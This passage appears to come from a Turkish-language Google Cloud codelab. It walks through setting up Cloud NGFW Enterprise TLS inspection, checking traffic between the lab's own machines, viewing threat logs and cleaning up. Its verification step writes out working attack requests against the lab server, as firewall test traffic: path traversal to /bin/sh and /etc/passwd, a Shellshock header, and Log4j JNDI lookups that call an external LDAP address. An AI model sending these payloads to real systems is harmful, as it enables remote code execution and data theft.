name: "ngfw-enterprise-trust-config" trustStores: - trustAnchors: - pemCertificate: | -----BEGIN CERTIFICATE----- ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ABCDEFGHIJKLMNOPQRS -----END CERTIFICATE-----
Güven yapılandırmasını içe aktarın:
gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml
TLS Politikası YAML dosyasını, güven yapılandırmasını içerecek şekilde güncelleyin:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false minTlsVersion: TLS_1_1 tlsFeatureProfile: PROFILE_COMPATIBLE trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config EOF
Güncellenen TLS politikasını içe aktarın:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
12. G/Ç TLS Denetimini Doğrulama
D/W trafiğini güncellenmiş güven yapılandırmasıyla test etmek için istemciye SSH geri gönderin:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Sunucuya örnek TLS isteğini çalıştırın:
curl https://$target_privateip --max-time 2
Yine de aşağıdaki çıktıyı alıyorsanız lütfen güncellemelerin dağıtılmasını bekleyin.
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Beklenen çıkış:
Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone
Sunucuya kötü amaçlı test trafiği gönderme:
curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Beklenen çıkış:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Aşağıdaki beklenen çıkışa göre yanıt alınmaz. Bu, örnek saldırıların artık E/W için engellendiğini doğrular.
13. Günlük Kaydı
Cloud Console'da Günlük Kaydı > Günlük Gezgini'ne gidin, aşağıdaki filtreyi girin ve günlükleri sorgulayın. [PROJECT_ID] ifadesini proje kimliğinizle değiştirin:
logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"
Cloud NGFW Enterprise günlük girişleri aşağıdaki gibi görünmelidir:
Günlük girişlerini genişletin ve istemci sanal makinesinden sunucuya gönderilen saldırıların tespit edilip engellendiğini (aşağıdaki ekran görüntüsünde gösterildiği gibi Apache Log4j Uzak Kod Çalıştırma Güvenlik Açığı) unutmayın.
Kötü amaçlı istekleri engellemek için Cloud NGFW Enterprise'ı TLS inceleme özelliğiyle başarıyla dağıttınız.
Temizleme adımları için bir sonraki bölüme geçin.
14. Temizleme adımları
Temel Kurulum Temizliği
Örnekleri kaldırın:
gcloud -q compute instances delete $prefix-$zone-www --zone=$zone gcloud -q compute instances delete $prefix-$zone-client --zone=$zone
tagAdmin ve tagUsers rolleri değiştirildiyse aşağıdaki adımları uygulayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagAdmin gcloud organizations remove-iam-policy-binding $org_id \ --member user:$user_id --role roles/resourcemanager.tagUser
Etiket anahtarını ve değerlerini kaldırın:
gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags
Cloud Güvenlik Duvarı Ağ Politikası'nı ve ilişkilendirmesini kaldırın:
gcloud -q compute network-firewall-policies associations delete \ --firewall-policy $prefix-fwpolicy \ --name $prefix-fwpolicy-association \ --global-firewall-policy gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global
Cloud Router'ı ve Cloud NAT'yi silin:
gcloud -q compute routers nats delete $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region gcloud -q compute routers delete $prefix-cr --region=$region
Ayrılmış IP adreslerini silin:
gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region
Cloud Firewall SPG, İlişkilendirme ve TLS Temizleme
Güvenlik Profili Grubu ve Tehdit Profili'ni şu sırayla silin:
gcloud -q network-security security-profile-groups delete \ $prefix-spg \ --organization $org_id \ --location=global gcloud -q network-security security-profiles threat-prevention \ delete $prefix-sp-threat \ --organization $org_id \ --location=global
Cloud Güvenlik Duvarı uç noktası ilişkilendirmesini silin:
gcloud -q network-security firewall-endpoint-associations delete \ $prefix-association --zone $zone
Cloud Firewall uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:
gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id
İsteğe bağlı olarak, aşağıdaki komutu çalıştırarak Cloud NGFW uç noktasının silindiğini onaylayın:
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Uç noktasının durumu şu şekilde gösterilir:
STATE: DELETING
İşlem tamamlandığında, uç nokta artık listelenmez.
TLS Politikası ve Güven Yapılandırması'nı şu sırayla silin:
gcloud -q network-security tls-inspection-policies delete \ $prefix-tls-policy \ --location=$region gcloud -q alpha certificate-manager trust-configs delete \ $prefix-trust-config \ --location=$region
Kök CA ve CA havuzunu devre dışı bırakıp silin:
gcloud -q privateca roots disable $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --ignore-dependent-resources gcloud -q privateca roots delete $prefix-CA-Root \ --location=$region \ --pool=$prefix-CA-Pool \ --skip-grace-period \ --ignore-active-certificates \ --ignore-dependent-resources gcloud -q privateca pools delete $prefix-CA-Pool \ --location=$region \ --ignore-dependent-resources
Alt Ağ ve VPC Temizleme
Son olarak, alt ağı ve VPC ağını silin:
gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region gcloud -q compute networks delete $prefix-vpc
15. Tebrikler!
Tebrikler, Doğu-Batı için Cloud NGFW Enterprise ve Kuzeye Giden TLS Denetleme codelab'ini başarıyla tamamladınız.